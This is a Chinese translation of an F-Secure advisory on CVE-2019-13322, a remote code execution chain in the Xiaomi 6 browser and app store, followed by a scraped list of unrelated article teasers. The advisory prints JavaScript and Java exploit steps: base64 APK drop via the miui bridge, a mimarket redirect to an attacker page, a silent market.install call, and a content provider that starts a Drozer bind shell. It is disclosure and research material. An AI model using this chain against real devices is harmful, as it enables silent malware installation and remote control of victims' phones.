小米6弹HTML查看器,小米6浏览器远程代码执行(CVE-2019-13322)
介绍
在2018年的Pwn2own上,F-Secure实验室演示了小米6手机在访问一个攻击者所控制的恶意Web页面时被攻陷。具体步骤如下:用户使用小米浏览器加载攻击者发过来的网站(网页、短信或电子邮件中的链接等)
网页自动使用javascript bridge下载HTML文件
使用browsable intent加载应用商店
应用商店会通过提供的URL加载一个WebView,再加载另一个恶意Web页面
该Web页面使用另一个javascript bridge函数来安装已下载的apk
最后这个应用会依据intent proxy自动启动。
技术细节
第一步要求受害者访问攻击者的网站,一般通过恶意点击链接跳转到攻击者所控制的页面来完成。这个恶意Web页面会执行两个操作。
首先,它会自动下载一个HTML文件。小米浏览器中不允许使用带有download属性的锚元素进行自动下载。但是,可以使用包含在所有Web页面中的javascript bridge,称为miui。
这个bridge包含一个名为share的函数,可将使用经过base64编码的数据存储到磁盘上,文件名基于参数提供给share函数的属性。攻击者可以使用此方法将apk文件保存到磁盘中。@javascriptInterface public void share(String arg8, String arg9, String arg10, String arg11, String arg12) {
OutputStream v1_1;
FileOutputStream v1;
OutputStream v2;
File v6;
byte[] v5;
…
int v0 = "base64,".length() + arg11.indexOf("ba se64,");
try {
v5 = base64.decode(arg11.substring(v0), 0);
String v0_2 = arg8 != null || arg9 != null ? "share_" + arg8 + arg9 + arg10.hashCode() + ".jpg" : "jsShare.jpg";
v6 = new File(com.android.browser.j.a.a(this.a), v0_2);
v2 = null;
这个方法可以通过以下javascript来使用,将apk以base64编码字符串进行安装:miui.share("foo","foo","foo","base64," + apkFile);
在这个样例中,apk的数据会被存储在/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg
文件下载成功后,网页将重定向到应用商店(com.xiaomi.market)。这可以通过创建一个iframe来实现,将src设置为一个可浏览的URL:var iframe = document.createElement("iframe");
var marketRedirUrl = "http://testxiaomi.com/XiaomiPoC/market.html";
iframe.src = "mimarket://browse?url=" + encodeURIComponent(marketRedirUrl);
document.body.appendChild(iframe);
这也会加载应用商店的JoinActivity。通过“url”参数提供WebView的url。而“url”参数被设置为攻击者所控制的Web页面,攻击者可以将任意HTML页面加载到WebView中。
通过应用商店触发安装流程
应用商店中的WebView包含一个名为“Market”的javascript bridge。其中有一个函数会使用本地文件系统上的一个文件来悄悄地安装drozer的apk。以下javascript会在前一步进行已下载文件的安装:function installAPK(){
market.install('{"appInfo":{"id":"test", "packageName":"com.xiaomi.test", "appId":"com.xiaomi.test"}, "callBack":"test", "needArrange":true, "ref":"test", "refPosition":1234, "apkPath":"/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg"}');
}
它将调用“install”方法,解析所提供的JSON数据,并启动“AppArrangeService”服务,而该服务将继续静默安装apk。
app的自启动
在以上过程结束,安装完成后,app将对javascript进行回调,其中调用的javascript函数由安装函数的“callBack”参数指定。这可用于设置已安装应用的自启动。
其中“test”函数定义如下:function test(){
document.location='intent://dzprovider/1#Intent;scheme=content;end';
}
以下格式的Content schemes将由浏览器所处理:
…
“dzprovider”是Drozer应用所包含的内容提供者:
android:name=".views.MyContentProvider"
android:authorities="dzprovider"
android:enabled="true"
android:exported="true">
当尝试加载这个URL时,浏览器应用程序必须确定mimetype是什么,这主要通过调用相关内容提供者的getType(Uri uri)方法实现的。通过在Drozer应用中重写这个方法,可以进行代码执行,启动Drozer绑定shell:@Override
public String getType(Uri uri) {
Intent i = new Intent();
i.addCategory("com.mwr.dz.START_EMBEDDED");
i.setComponent(new ComponentName("com.mwr.dz","com.mwr.dz.services.ServerService"));
Context c = getContext();
c.startService(i);
return “foo”;
}
时间线
2018-11-14:向ZDI报告了该漏洞
2019-01-27:ZDI与厂商联系
2019-02-06:ZDI再次联系厂商
2019-02-06:厂商答复计划在二月底之前进行修复
2019-02-14:ZDI通知厂商,如果2月底前没有进行修复,整体流程将视为已结束
2019-03-04:厂商进行答复但未提供具体时间
2019-06-03:ZDI通知厂商打算将报告结束
2019-11-22:F-Secure发布详情本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3223.html
来源:https://labs.f-secure.com/advisories/xiaomi/
小米6弹HTML查看器,小米6浏览器远程代码执行(CVE-2019-13322)相关推荐
- Linux包管理器apt/apt-get发现远程代码执行漏洞
研究人员Max Justicz日前发现了知名Linux包管理器apt/apt-get中的远程代码执行漏洞,该漏洞允许外部进行中间人攻击并获取root权限以执行任何代码.该漏洞已在最新版本apt修复,如 ...
- 小米6浏览器远程代码执行(CVE-2019-13322)
介绍 在2018年的Pwn2own上,F-Secure实验室演示了小米6手机在访问一个攻击者所控制的恶意Web页面时被攻陷.具体步骤如下: 用户使用小米浏览器加载攻击者发过来的网站(网页.短信或电子邮 ...
- 小米4C关闭html查看器,小米4C应用安全提醒怎么关闭?未知来源开启教程
我们都知道最新的小米MIUI7系统,除了更新一些实用性的功能外,最大的改变就是在安全方面的提升了.不过许多朋友对于这种友善的提示并不感冒,反而等待十秒让他们觉得有点不耐烦,其实还是建议大家去小米应用商 ...
- DW写的页面,在浏览者查看器中出现大量其他代码
DW写的页面,图1在浏览者查看器中出现大量其他代码与自己编写的H5中<body>的不一样,是因为浏览器用了油猴插件还是因为其他原因 图二是预想中的情况
- 查看exe代码_【安全风险通告】Windows Type 1字体解析远程代码执行漏洞安全风险通告...
微软官方今天发布了编号为ADV200006的安全通告,其中包含两枚Adobe字体管理库相关的严重远程代码执行漏洞,其中一枚漏洞为奇安信代码安全实验室提交,公告中指出这两枚漏洞已遭在野利用. 鉴于漏洞危 ...
- Foxit 修复PDF阅读器中的多个代码执行漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Foxit 阅读器更新版本,修复了可导致任意代码执行后果的多个释放后使用漏洞. Foxit 向用户提供了大量功能,包括通过 JavaScript ...
- html查看器 小米8,小米文档查看器app
小米文档查看器app是一款十分好用的手机端的小米文档管理工具,专业的文档处理工具,wps的专门定制版本,功能基本都加入了其中,使用起来十分的方面,需要的小伙伴赶紧来下载这款小米文档查看器app吧~ 软 ...
- PHP 八羊闪电本地相册图片查看器V1 PHP极简代码直接查看本地文件夹图片 源码下载!
该源码,直接读取本地IMGAGES文件夹的图片,直接显示在相册,点击放大查看,非常方便,非常适合二次开发,但是不适合小白.没有做UI和设计,比较简陋,所以仅仅售价10元钱,想要的就拿去,不想要的就别拍 ...
- 小米wifi认证取消html查看器,小米路由器设置了隐藏wifi如何取消?
问:小米路由器设置了隐藏wifi如何取消? 答:登录到小米路由器的管理页面中,就可以取消隐藏wifi的设置,下面演示一次具体的操作步骤. 注意: 如果你没有电脑,并且隐藏小米路由器的wifi后,自己的 ...
最新文章
- 1012 The Best Rank
- 用好idea这几款插件,可以帮你少写30%的代码!
- 我是怎样成长为系统架构师的
- sklearn.preprocessing.PolynomialFeatures
- Linux 允许指定IP访问目录
- 如何在网页中动态为模版页的Body添加属性
- 使用Jquery 结合后台数据库显示类似QQ图片中心
- tensorflow输出
- linux吃鸡游戏下载,网络大逃杀2077
- java连接数据库实现一个简单的登陆界面
- Mstar的Monitor方案笔记(五)——Gamma
- Win10应用商店打不开?微软官方提供修复方法
- the permanent HWaddr of eth0 .. is still in use by bond0
- 《富爸爸穷爸爸》书摘-为什么要教授财务知识
- 如何制定有效的项目进度计划——甘特图
- 如何实现系统的单点登录?
- 拿下计算机三级证以后能干嘛,计算机三级证书用处
- Mysql主键与事务
- BME680传感器-BESC空气质量IAQ算法库的三种工作模式
- matlab实验报告李琼指数函数,基于MATLAB的多元非线性回归模型
热门文章
- Ublox GPS模块型号入门介绍
- python ldap3 创建用户_基于python LDAP3的AD域账号注册系统
- centos7 安装Zabbix3.0
- Linux效劳器装机安全疾速进阶指南(2)
- 太累了,28岁半路转行,坚持了三年现如今年薪36W+,也算是给自己一个满意的交待了
- 搭建spring config的坑 记录一下
- Python数据分析之证券之星沪深A股基本信息爬取与分析
- **Windows10下最便捷的屏幕录制方法**
- 408计算机组成原理知识点常考点总结
- iptables、firewalld防火墙详解